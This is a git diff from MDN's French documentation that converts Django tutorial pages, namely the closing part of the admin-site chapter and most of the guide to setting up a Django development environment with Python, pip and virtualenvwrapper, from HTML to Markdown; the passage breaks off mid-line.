acquis les base du site d'administration et à créer un suoper-utilisateur, voius avez aussi navigué dans le site d'admlinistration et vous avez appris à modifier les formulaires de saisie et comment ajouter, modifier ou supprimer des données.</p> +Beaucoup de sujets ont été abordés dans ce chapitre... Vous avez acquis les base du site d'administration et à créer un suoper-utilisateur, voius avez aussi navigué dans le site d'admlinistration et vous avez appris à modifier les formulaires de saisie et comment ajouter, modifier ou supprimer des données. -<h2 id="A_voir_aussi">A voir aussi</h2> +## A voir aussi -<ul> - <li><a href="https://docs.djangoproject.com/fr/2.2/intro/tutorial02/#introducing-the-django-admin">Ecrire sa première application Dajngo, 2ème partie</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/">Le site d'administration de Django</a> (Django Docs)</li> -</ul> +- [Ecrire sa première application Dajngo, 2ème partie](https://docs.djangoproject.com/fr/2.2/intro/tutorial02/#introducing-the-django-admin) (Django docs) +- [Le site d'administration de Django](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/) (Django Docs) -<p>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</p> +{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Didactique: Site web "Bibliothèque locale"</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django didactique Section 2: Créer le squelette du site web</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django didactique Section 3: Utilisation des modèles de données</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django didactique Section 4 : Site d'administration de Django</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django didactique Section 5: Créer la page d'accueil</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a> </li> -</ul> +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Didactique: Site web "Bibliothèque locale"](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django didactique Section 2: Créer le squelette du site web](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django didactique Section 3: Utilisation des modèles de données](/fr/docs/Learn/Server-side/Django/Models) +- [Django didactique Section 4 : Site d'administration de Django](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django didactique Section 5: Créer la page d'accueil](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/development_environment/index.md b/files/fr/learn/server-side/django/development_environment/index.md index 326bce1716..e412441822 100644 --- a/files/fr/learn/server-side/django/development_environment/index.md +++ b/files/fr/learn/server-side/django/development_environment/index.md @@ -3,358 +3,365 @@ title: Mettre en place un environnement de développement Django slug: Learn/Server-side/Django/development_environment translation_of: Learn/Server-side/Django/development_environment --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</div> - -<p>Maintenant que vous savez à quoi sert Django, nous allons vous montrer comment mettre en place et tester un environnement de développement Django sous Windows, Linux (Ubuntu) et macOS — Peu importe votre système d'exploitation, cet article devrait vous fournir de quoi commencer à développer des applications Django.</p> +Maintenant que vous savez à quoi sert Django, nous allons vous montrer comment mettre en place et tester un environnement de développement Django sous Windows, Linux (Ubuntu) et macOS — Peu importe votre système d'exploitation, cet article devrait vous fournir de quoi commencer à développer des applications Django. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances de base sur l'utilisation d'un terminal/invite de commande et comment installer des packages sur l'OS de l'ordinateur que vous utiliserez pour développer.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Avoir un environnement de développement pour Django (2.0) fonctionnel sur votre ordinateur.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances de base sur l'utilisation d'un terminal/invite de commande + et comment installer des packages sur l'OS de l'ordinateur que vous + utiliserez pour développer. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Avoir un environnement de développement pour Django (2.0) fonctionnel + sur votre ordinateur. + </td> + </tr> + </tbody> </table> -<h2 id="Aperçu_de_lenvironnement_de_développement_Django">Aperçu de l'environnement de développement Django</h2> +## Aperçu de l'environnement de développement Django + +Django simplifie le processus de configuration de votre ordinateur pour que vous puissiez rapidement commencer à développer des applications web. Cette section explique ce que vous aurez dans l'environnement de développement, et vous fournit un aperçu de certaines options de configuration et d'installation. Le reste de l'article explique la méthode _recommandée_ pour installer l'environnement de développement Django sur Ubuntu, macOS et Windows, et comment le tester. -<p>Django simplifie le processus de configuration de votre ordinateur pour que vous puissiez rapidement commencer à développer des applications web. Cette section explique ce que vous aurez dans l'environnement de développement, et vous fournit un aperçu de certaines options de configuration et d'installation. Le reste de l'article explique la méthode <em>recommandée </em>pour installer l'environnement de développement Django sur Ubuntu, macOS et Windows, et comment le tester.</p> +### Qu'est-ce que l'environnement de développement Django ? -<h3 id="Quest-ce_que_lenvironnement_de_développement_Django">Qu'est-ce que l'environnement de développement Django ?</h3> +L'environnement de développement correspond à une installation de Django sur votre ordinateur local que vous pouvez utiliser pour développer et tester des applications Django avant de les déployer sur un environnement de production. -<p>L'environnement de développement correspond à une installation de Django sur votre ordinateur local que vous pouvez utiliser pour développer et tester des applications Django avant de les déployer sur un environnement de production.</p> +Le principal outil que fournit Django est un ensemble de scripts Python utilisés pour créer et travailler avec des projets Django, ainsi qu'un simple _serveur web de développement_ que vous pouvez utiliser pour tester en local (i.e. sur votre propre ordinateur, pas sur un serveur web externe) des applications web Django dans votre navigateur web. -<p>Le principal outil que fournit Django est un ensemble de scripts Python utilisés pour créer et travailler avec des projets Django, ainsi qu'un simple <em>serveur web de développement </em>que vous pouvez utiliser pour tester en local (i.e. sur votre propre ordinateur, pas sur un serveur web externe) des applications web Django dans votre navigateur web.</p> +Il y a plusieurs autres outils annexes, qui font partie de l'environnement de développement, que nous ne couvrirons pas ici. Cela inclut des choses comme un [éditeur de texte](/fr/docs/Learn/Common_questions/Available_text_editors) ou un IDE pour éditer votre code, et un outil de gestion de contrôle de version comme Git pour gérer en toute prudence les différentes versions de votre code. Nous supposerons ici que vous avez déjà un éditeur de texte installé. -<p>Il y a plusieurs autres outils annexes, qui font partie de l'environnement de développement, que nous ne couvrirons pas ici. Cela inclut des choses comme un <a href="/fr/docs/Learn/Common_questions/Available_text_editors">éditeur de texte</a> ou un IDE pour éditer votre code, et un outil de gestion de contrôle de version comme Git pour gérer en toute prudence les différentes versions de votre code. Nous supposerons ici que vous avez déjà un éditeur de texte installé.</p> +### Quelles sont les options d'installation de Django ? -<h3 id="Quelles_sont_les_options_dinstallation_de_Django">Quelles sont les options d'installation de Django ?</h3> +Django est extrêmement flexible sur sa manière d'être installé et configuré. Django peut-être : -<p>Django est extrêmement flexible sur sa manière d'être installé et configuré. Django peut-être :</p> +- Installé sur divers systèmes d'exploitation. +- Installé depuis la source, avec l'Index des Packages Python (PyPI) et bien souvent depuis l'application de gestion de packages de l'ordinateur hôte. +- Configuré pour communiquer avec diverses bases de données, qui peuvent aussi avoir besoin d'être configurées et installées séparément. +- Lancé depuis l'environnement principal de Python ou depuis des environnements virtuels Python séparés. -<ul> - <li>Installé sur divers systèmes d'exploitation.</li> - <li>Installé depuis la source, avec l'Index des Packages Python (PyPI) et bien souvent depuis l'application de gestion de packages de l'ordinateur hôte.</li> - <li>Configuré pour communiquer avec diverses bases de données, qui peuvent aussi avoir besoin d'être configurées et installées séparément.</li> - <li>Lancé depuis l'environnement principal de Python ou depuis des environnements virtuels Python séparés.</li> -</ul> +Chacune de ces options requiert une configuration et une installation légèrement différente. Les sous-sections ci-dessous vous expliquent différents choix. Dans le reste de l'article, nous vous montrerons comment installer Django sur un nombre restreint de systèmes d'exploitation, et nous supposerons que cette installation aura été suivie pour tout le reste du module. -<p>Chacune de ces options requiert une configuration et une installation légèrement différente. Les sous-sections ci-dessous vous expliquent différents choix. Dans le reste de l'article, nous vous montrerons comment installer Django sur un nombre restreint de systèmes d'exploitation, et nous supposerons que cette installation aura été suivie pour tout le reste du module.</p> +> **Note :** D'autres options d'installation possibles sont traitées dans la documentation officielle de Django. Les liens vers la [documentation appropriée peuvent-être trouvés ci-dessous](/fr/docs/Learn/Server-side/Django/development_environment). -<div class="note"> -<p><strong>Note :</strong> D'autres options d'installation possibles sont traitées dans la documentation officielle de Django. Les liens vers la <a href="/fr/docs/Learn/Server-side/Django/development_environment">documentation appropriée peuvent-être trouvés ci-dessous</a>.</p> -</div> +#### Quels systèmes d'exploitation sont supportés ? -<h4 id="Quels_systèmes_dexploitation_sont_supportés">Quels systèmes d'exploitation sont supportés ?</h4> +Les applications web Django peuvent tourner sous presque n'importe quelle machine pouvant faire fonctionner le langage de programmation Python 3 : Windows, macOS, Linux/Unix, Solaris, pour ne nommer que ceux-là. Quasiment n'importe quel ordinateur devrait avoir les performances nécessaires pour faire fonctionner Django lors de la phase de développement. -<p>Les applications web Django peuvent tourner sous presque n'importe quelle machine pouvant faire fonctionner le langage de programmation Python 3 : Windows, macOS, Linux/Unix, Solaris, pour ne nommer que ceux-là. Quasiment n'importe quel ordinateur devrait avoir les performances nécessaires pour faire fonctionner Django lors de la phase de développement.</p> +Dans cet article, nous vous donnons les instructions pour Windows, macOS et Linux/Unix. -<p>Dans cet article, nous vous donnons les instructions pour Windows, macOS et Linux/Unix.</p> +#### Quelle version de Python doit-être utilisée ? -<h4 id="Quelle_version_de_Python_doit-être_utilisée">Quelle version de Python doit-être utilisée ?</h4> +Nous vous recommandons d'utiliser la version la plus récente disponible — au moment de l'écriture de cet article, nous en sommes à la version Python 3.7.2. -<p>Nous vous recommandons d'utiliser la version la plus récente disponible — au moment de l'écriture de cet article, nous en sommes à la version Python 3.7.2.</p> +Si besoin, les versions de Python 3.5 et ultérieures peuvent être utilisées (le support pour Python 3.5 sera abandonné lors de la sortie des prochaines versions). -<p>Si besoin, les versions de Python 3.5 et ultérieures peuvent être utilisées (le support pour Python 3.5 sera abandonné lors de la sortie des prochaines versions).</p> +> **Note :** Python 2.7 ne peut pas être utilisé avec Django 2.1 (la série Django 1.11.x est la dernière à supporter Python 2.7). -<div class="note"> -<p><strong>Note :</strong> Python 2.7 ne peut pas être utilisé avec Django 2.1 (la série Django 1.11.x est la dernière à supporter Python 2.7).</p> -</div> +#### Où peut-on télécharger Django ? -<h4 id="Où_peut-on_télécharger_Django">Où peut-on télécharger Django ?</h4> +Il y a trois façons de télécharger Django : -<p>Il y a trois façons de télécharger Django :</p> +- Le Repository de Packages Python (PyPI), en utilisant l'outil pip. C'est la meilleure façon d'obtenir la dernière version stable de Django. +- En utilisant la version du gestionnaire de packages de votre ordinateur. Les distributions de Django empaquetées avec les systèmes d'exploitation offrent un mécanisme d'installation plus familier. Veuillez toutefois noter que la version du package peut être datée, et ne pourra alors être installée que dans l'environnement système de Python (ce que vous pourriez ne pas souhaiter). +- Installation depuis la source : Vous pouvez télécharger et installer la toute dernière version de Django depuis la source. Ce n'est pas recommandé pour les débutants, mais c'est une étape nécessaire si vous souhaitez contribuer à Django lui-même. -<ul> - <li>Le Repository de Packages Python (PyPI), en utilisant l'outil pip. C'est la meilleure façon d'obtenir la dernière version stable de Django.</li> - <li>En utilisant la version du gestionnaire de packages de votre ordinateur. Les distributions de Django empaquetées avec les systèmes d'exploitation offrent un mécanisme d'installation plus familier. Veuillez toutefois noter que la version du package peut être datée, et ne pourra alors être installée que dans l'environnement système de Python (ce que vous pourriez ne pas souhaiter).</li> - <li>Installation depuis la source : Vous pouvez télécharger et installer la toute dernière version de Django depuis la source. Ce n'est pas recommandé pour les débutants, mais c'est une étape nécessaire si vous souhaitez contribuer à Django lui-même.</li> -</ul> +Cet article explique comment installer Django depuis PyPI afin d'obtenir la version stable la plus récente. -<p>Cet article explique comment installer Django depuis PyPI afin d'obtenir la version stable la plus récente.</p> +#### Quelle base de données ? -<h4 id="Quelle_base_de_données">Quelle base de données ?</h4> +Django supporte quatre bases de données principales (PostgreSQL, MySQL, Oracle et SQLite), et des librairies fournies par la communauté offrent différents niveaux de support pour d'autre bases de données SQL et NoSQL populaires. Nous vous recommandons de choisir la même base de données pour la production et le développement (bien que Django puisse abstraire plusieurs différences entre les bases de données en utilisant son Mapper Relationnel-Objet (ORM), il reste tout de même certains [problèmes potentiels](https://docs.djangoproject.com/en/2.1/ref/databases/) qu'il vaut mieux éviter). -<p>Django supporte quatre bases de données principales (PostgreSQL, MySQL, Oracle et SQLite), et des librairies fournies par la communauté offrent différents niveaux de support pour d'autre bases de données SQL et NoSQL populaires. Nous vous recommandons de choisir la même base de données pour la production et le développement (bien que Django puisse abstraire plusieurs différences entre les bases de données en utilisant son Mapper Relationnel-Objet (ORM), il reste tout de même certains <a href="https://docs.djangoproject.com/en/2.1/ref/databases/">problèmes potentiels</a> qu'il vaut mieux éviter).</p> +Dans cet article (et quasiment tout le module), nous utiliserons la base _SQLite_, qui sauvegarde ses données dans des fichiers. SQLite a été conçu pour être utilisé comme une base de données légère, mais elle ne peut pas supporter un haut niveau de compétition. Elle est cependant un excellent choix pour des applications qui sont prioritairement en lecture seule. -<p>Dans cet article (et quasiment tout le module), nous utiliserons la base <em>SQLite</em>, qui sauvegarde ses données dans des fichiers. SQLite a été conçu pour être utilisé comme une base de données légère, mais elle ne peut pas supporter un haut niveau de compétition. Elle est cependant un excellent choix pour des applications qui sont prioritairement en lecture seule.</p> +> **Note :** Django est configuré pour utiliser SQLite par défaut lorsque vous démarrez le projet de votre site web en utilisant les outils standards (_django-admin_). C'est un très bon choix lorsque vous débutez car elle ne requiert aucune configuration ou installation particulière. -<div class="note"> -<p><strong>Note :</strong> Django est configuré pour utiliser SQLite par défaut lorsque vous démarrez le projet de votre site web en utilisant les outils standards (<em>django-admin</em>). C'est un très bon choix lorsque vous débutez car elle ne requiert aucune configuration ou installation particulière.</p> -</div> +#### Installation globale ou dans un environnement virtuel Python ? -<h4 id="Installation_globale_ou_dans_un_environnement_virtuel_Python">Installation globale ou dans un environnement virtuel Python ?</h4> +Lorsque vous installez Python3, vous obtenez un environnement global unique partagé par tout le code Python3. Bien que vous puissiez installer n'importe quel package Python souhaité dans cet environnement, vous ne pouvez disposer que d'une seule version d'un package donné à la fois. -<p>Lorsque vous installez Python3, vous obtenez un environnement global unique partagé par tout le code Python3. Bien que vous puissiez installer n'importe quel package Python souhaité dans cet environnement, vous ne pouvez disposer que d'une seule version d'un package donné à la fois.</p> +> **Note :** Les applications installées dans l'environnement global peuvent potentiellement entrer en conflit avec les autres (i.e. si elles dépendent de versions différentes d'un même package). -<div class="note"> -<p><strong>Note :</strong> Les applications installées dans l'environnement global peuvent potentiellement entrer en conflit avec les autres (i.e. si elles dépendent de versions différentes d'un même package).</p> -</div> +Si vous installez Django dans l'environnement par défaut/global, vous ne pourrez alors cibler qu'une seule version de Django sur votre machine. Cela peut devenir un problème si vous souhaitez créer de nouveaux sites web (utilisant la dernière version de Django) tout en maintenant d'autres sites web dépendant de versions antérieures. -<p>Si vous installez Django dans l'environnement par défaut/global, vous ne pourrez alors cibler qu'une seule version de Django sur votre machine. Cela peut devenir un problème si vous souhaitez créer de nouveaux sites web (utilisant la dernière version de Django) tout en maintenant d'autres sites web dépendant de versions antérieures.</p> +Ainsi, un développeur Python/Django confirmé lance généralement ses applications Python dans des _environnements virtuels Python_ indépendants. Cela permet d'avoir plusieurs environnements Django sur un seul et même ordinateur. L'équipe de développement de Django elle-même recommande d'utiliser des environnements virtuels Python. -<p>Ainsi, un développeur Python/Django confirmé lance généralement ses applications Python dans des <em>environnements virtuels Python</em> indépendants. Cela permet d'avoir plusieurs environnements Django sur un seul et même ordinateur. L'équipe de développement de Django elle-même recommande d'utiliser des environnements virtuels Python.</p> +Ce module suppose que vous avez installé Django dans un environnement virtuel, et nous vous montrons comment le faire ci-dessous. -<p>Ce module suppose que vous avez installé Django dans un environnement virtuel, et nous vous montrons comment le faire ci-dessous.</p> +## Installer Python 3 -<h2 id="Installer_Python_3">Installer Python 3</h2> +Si vous souhaitez utiliser Django, vous devrez installer Python sur votre système d'exploitation. Si vous utilisez _Python 3_, vous aurez alors aussi besoin de l'outil [Python Package Index](https://pypi.python.org/pypi) — _pip3_ — qui est utilisé pour gérer (installer, mettre à jour, supprimer) les packages/librairies Python qui seront utilisés par Django et vos autres applications Python. -<p>Si vous souhaitez utiliser Django, vous devrez installer Python sur votre système d'exploitation. Si vous utilisez <em>Python 3</em>, vous aurez alors aussi besoin de l'outil <a href="https://pypi.python.org/pypi">Python Package Index</a> — <em>pip3</em> — qui est utilisé pour gérer (installer, mettre à jour, supprimer) les packages/librairies Python qui seront utilisés par Django et vos autres applications Python.</p> +Cette section décrit brièvement comment vérifier quelle version de Python sont disponibles, et comment installer de nouvelles versions si nécessaire, sur Ubuntu Linux 18.04, macOS et Windows 10. -<p>Cette section décrit brièvement comment vérifier quelle version de Python sont disponibles, et comment installer de nouvelles versions si nécessaire, sur Ubuntu Linux 18.04, macOS et Windows 10.</p> +> **Note :** En fonction de votre plateforme, vous aurez probablement aussi besoin d'installer Python/pip depuis le gestionnaire de packages de votre système d'exploitation, ou via d'autre moyens. Pour la plupart des plateformes, vous pouvez télécharger les fichiers d'installation requis depuis <https://www.python.org/downloads/> et les installer en utilisant la méthode appropriée à votre plateforme. -<div class="note"> -<p><strong>Note :</strong> En fonction de votre plateforme, vous aurez probablement aussi besoin d'installer Python/pip depuis le gestionnaire de packages de votre système d'exploitation, ou via d'autre moyens. Pour la plupart des plateformes, vous pouvez télécharger les fichiers d'installation requis depuis <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> et les installer en utilisant la méthode appropriée à votre plateforme.</p> -</div> +### Ubuntu 18.04 -<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3> +Ubuntu Linux 18.04 LTS inclut par défaut Python 3.6.6. Vous pouvez vous en assurer en exécutant les commandes suivantes depuis le terminal bash : -<p>Ubuntu Linux 18.04 LTS inclut par défaut Python 3.6.6. Vous pouvez vous en assurer en exécutant les commandes suivantes depuis le terminal bash :</p> +```bash +python3 -V + Python 3.6.6 +``` -<pre class="brush: bash">python3 -V - Python 3.6.6</pre> +Toutefois, l'outil d'Index des Packages Python dont vous aurez besoin pour installer des packages avec Python 3 (y compris Django) n'est **pas** disponible par défaut. Vous pouvez installer pip3 avec le terminal bash avec : -<p>Toutefois, l'outil d'Index des Packages Python dont vous aurez besoin pour installer des packages avec Python 3 (y compris Django) n'est <strong>pas </strong>disponible par défaut. Vous pouvez installer pip3 avec le terminal bash avec :</p> +```bash +sudo apt install python3-pip +``` -<pre class="brush: bash">sudo apt install python3-pip</pre> +### macOS -<h3 id="macOS">macOS</h3> +macOS "El Capitan"et les versions plus récentes n'incluent pas Python 3. Vous pouvez vous en assurer en exécutant les commandes suivantes dans votre terminal bash : -<p>macOS "El Capitan"et les versions plus récentes n'incluent pas Python 3. Vous pouvez vous en assurer en exécutant les commandes suivantes dans votre terminal bash :</p> +```bash +python3 -V + -bash: python3ommand not found +``` -<pre class="brush: bash">python3 -V - -bash: python3ommand not found</pre> +Vous pouvez facilement installer Python 3 (ainsi que l'outil _pip3_) sur [python.org](https://www.python.org/): -<p>Vous pouvez facilement installer Python 3 (ainsi que l'outil <em>pip3</em>) sur <a href="https://www.python.org/">python.org</a>:</p> +1. Téléchargez l'installeur requis : -<ol> - <li>Téléchargez l'installeur requis : - <ol> - <li>Allez sur <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> - <li>Sélectionnez le bouton <strong>Download Python 3.7.2</strong> (le numéro de version mineure peut varier).</li> - </ol> - </li> - <li>Localisez le fichier en utilisant le <em>Finder</em>, puis double-cliquez le fichier package. Suivez les consignes d'installation.</li> -</ol> + 1. Allez sur <https://www.python.org/downloads/> + 2. Sélectionnez le bouton **Download Python 3.7.2** (le numéro de version mineure peut varier). -<p>Vous pouvez désormais confirmer la bonne installation en vérifiant votre version de Python 3 comme indiqué ci-dessous :</p> +2. Localisez le fichier en utilisant le _Finder_, puis double-cliquez le fichier package. Suivez les consignes d'installation. -<pre class="brush: bash">python3 -V +Vous pouvez désormais confirmer la bonne installation en vérifiant votre version de Python 3 comme indiqué ci-dessous : + +```bash +python3 -V Python 3.7.2 -</pre> +``` + +Vous pouvez aussi vérifier que pip3 est correctement installé en listant les packages disponibles : -<p>Vous pouvez aussi vérifier que pip3 est correctement installé en listant les packages disponibles :</p> +```bash +pip3 list +``` -<pre class="brush: bash">pip3 list</pre> +### Windows 10 -<h3 id="Windows_10">Windows 10</h3> +Windows n'inclut pas Python par défaut, mais vous pouvez facilement l'installer (ainsi que l'outil _pip3_) sur[ python.org](https://www.python.org/): -<p>Windows n'inclut pas Python par défaut, mais vous pouvez facilement l'installer (ainsi que l'outil <em>pip3</em>) sur<a href="https://www.python.org/"> python.org</a>:</p> +1. Téléchargez l'installeur requis : -<ol> - <li>Téléchargez l'installeur requis : - <ol> - <li>Allez sur <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li> - <li>Sélectionnez le bouton <strong>Download Python 3.7.2</strong> (le numéro de version mineure peut varier).</li> - </ol> - </li> - <li>Installez Python en double-cliquant sur le fichier télécharger puis en suivant les consignes d'installation</li> - <li>Assurez-vous d'avoir coché la case intitulée "Ajouter Python au PATH".</li> -</ol> + 1. Allez sur <https://www.python.org/downloads/> + 2. Sélectionnez le bouton **Download Python 3.7.2** (le numéro de version mineure peut varier). -<p>Vous pouvez ensuite vérifier que Python s'est correctement installé en tapant le texte suivant dans votre invite de commande :</p> +2. Installez Python en double-cliquant sur le fichier télécharger puis en suivant les consignes d'installation +3. Assurez-vous d'avoir coché la case intitulée "Ajouter Python au PATH". -<pre class="brush: bash">py -3 -V +Vous pouvez ensuite vérifier que Python s'est correctement installé en tapant le texte suivant dans votre invite de commande : + +```bash +py -3 -V Python 3.7.2 -</pre> +``` -<p>L'installeur Windows inclut <em>pip3</em> (le gestionnaire de packages Python) par défaut. Vous pouvez lister les packages installés de la manière suivante :</p> +L'installeur Windows inclut _pip3_ (le gestionnaire de packages Python) par défaut. Vous pouvez lister les packages installés de la manière suivante : -<pre class="brush: bash">pip3 list -</pre> +```bash +pip3 list +``` -<div class="note"> -<p><strong>Note :</strong> L'installeur devrait configurer tout ce dont vous avez besoin pour que les commandes ci-dessus fonctionnent. Toutefois, si vous obtenez un message vous indiquant que Python ne peut pas être trouvé (Python cannot be found), il est possible que vous ayez oublié de l'ajouter à votre PATH système. Vous pouvez faire cela en réexécutant l'installeur, sélectionnez "Modifier", puis cochez la case intitulée "Ajouter Python aux variables d'environnement" sur le deuxième page.</p> -</div> +> **Note :** L'installeur devrait configurer tout ce dont vous avez besoin pour que les commandes ci-dessus fonctionnent. Toutefois, si vous obtenez un message vous indiquant que Python ne peut pas être trouvé (Python cannot be found), il est possible que vous ayez oublié de l'ajouter à votre PATH système. Vous pouvez faire cela en réexécutant l'installeur, sélectionnez "Modifier", puis cochez la case intitulée "Ajouter Python aux variables d'environnement" sur le deuxième page. -<h2 id="Utiliser_Django_dans_un_environnement_virtuel_Python">Utiliser Django dans un environnement virtuel Python</h2> +## Utiliser Django dans un environnement virtuel Python -<p>Les librairies que nous utiliserons pour créer nos environnements virtuels seront <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (Linux et macOS) et <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (Windows), , qui à leur tour utilisent l'outil <a href="/fr/docs/Python/Virtualenv">virtualenv</a>. Les outils d'habillage permettent de créer une interface consistante pour gérer les interfaces sur toutes les plateformes.</p> +Les librairies que nous utiliserons pour créer nos environnements virtuels seront [virtualenvwrapper](https://virtualenvwrapper.readthedocs.io/en/latest/index.html) (Linux et macOS) et [virtualenvwrapper-win](https://pypi.python.org/pypi/virtualenvwrapper-win) (Windows), , qui à leur tour utilisent l'outil [virtualenv](/fr/docs/Python/Virtualenv). Les outils d'habillage permettent de créer une interface consistante pour gérer les interfaces sur toutes les plateformes. -<h3 id="Installer_lutilitaire_denvironnement_virtuel">Installer l'utilitaire d'environnement virtuel</h3> +### Installer l'utilitaire d'environnement virtuel -<h4 id="Mise_en_place_de_lenvironnement_virtuel_sur_Ubuntu">Mise en place de l'environnement virtuel sur Ubuntu</h4> +#### Mise en place de l'environnement virtuel sur Ubuntu -<p>Après avoir installé Python et pip vous pouvez installer <em>virtualenvwrapper</em> (qui inclut <em>virtualenv</em>). Le guide d'installation officiel peut être trouvé <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">ici</a>, ou bien vous pouvez suivre les instructions ci-dessous.</p> +Après avoir installé Python et pip vous pouvez installer _virtualenvwrapper_ (qui inclut _virtualenv_). Le guide d'installation officiel peut être trouvé [ici](http://virtualenvwrapper.readthedocs.io/en/latest/install.html), ou bien vous pouvez suivre les instructions ci-dessous. -<p>Installer l'outil en utilisant <em>pip3</em>:</p> +Installer l'outil en utilisant _pip3_: -<pre class="brush: bash">sudo pip3 install virtualenvwrapper</pre> +```bash +sudo pip3 install virtualenvwrapper +``` -<p>Ajoutez ensuite les lignes suivantes à la fin de votre fichier de configuration shell (le fichier caché <strong>.bashrc</strong> dans votre répertoire home). Elles indiquent les endroits où vos environnements virtuels seront installés, l'emplacement de vos projets de développement, et l'emplacement du script installé avec ce package :</p> +Ajoutez ensuite les lignes suivantes à la fin de votre fichier de configuration shell (le fichier caché **.bashrc** dans votre répertoire home). Elles indiquent les endroits où vos environnements virtuels seront installés, l'emplacement de vos projets de développement, et l'emplacement du script installé avec ce package : -<pre class="brush: bash">export WORKON_HOME=$HOME/.virtualenvs +```bash +export WORKON_HOME=$HOME/.virtualenvs export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3 export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 ' export PROJECT_HOME=$HOME/Devel -source /usr/local/bin/virtualenvwrapper.sh</pre> +source /usr/local/bin/virtualenvwrapper.sh +``` -<div class="note"> -<p><strong>Note :</strong> Les variables <code>VIRTUALENVWRAPPER_PYTHON</code> et <code>VIRTUALENVWRAPPER_VIRTUALENV_ARGS </code>pointent vers l'emplacement d'installation par défaut de Python3, et <code>source /usr/local/bin/virtualenvwrapper.sh</code> pointe vers l'emplacement par défaut du script <code>virtualenvwrapper.sh</code>. Si le <em>virtualenv</em> ne fonctionne pas quand vous le testez, vérifiez que Python et le script sont bien aux emplacements attendus (puis modifiez le fichier de configuration en conséquence).<br> - <br> - Vous pourrez trouver les bons emplacements de votre système en utilisant les commandes <code>which virtualenvwrapper.sh</code> et <code>which python3</code>.</p> -</div> +> **Note :** Les variables `VIRTUALENVWRAPPER_PYTHON` et `VIRTUALENVWRAPPER_VIRTUALENV_ARGS `pointent vers l'emplacement d'installation par défaut de Python3, et `source /usr/local/bin/virtualenvwrapper.sh` pointe vers l'emplacement par défaut du script `virtualenvwrapper.sh`. Si le _virtualenv_ ne fonctionne pas quand vous le testez, vérifiez que Python et le script sont bien aux emplacements attendus (puis modifiez le fichier de configuration en conséquence). +> +> Vous pourrez trouver les bons emplacements de votre système en utilisant les commandes `which virtualenvwrapper.sh` et `which python3`. -<p>Puis relancez le fichier de configuration en exécutant la commande suivante dans votre terminal :</p> +Puis relancez le fichier de configuration en exécutant la commande suivante dans votre terminal : -<pre class="brush: bash">source ~/.bashrc</pre> +```bash +source ~/.bashrc +``` -<p>Vous devriez alors voir apparaître plusieurs lignes de script semblables à celles ci-dessous :</p> +Vous devriez alors voir apparaître plusieurs lignes de script semblables à celles ci-dessous : -<pre class="brush: 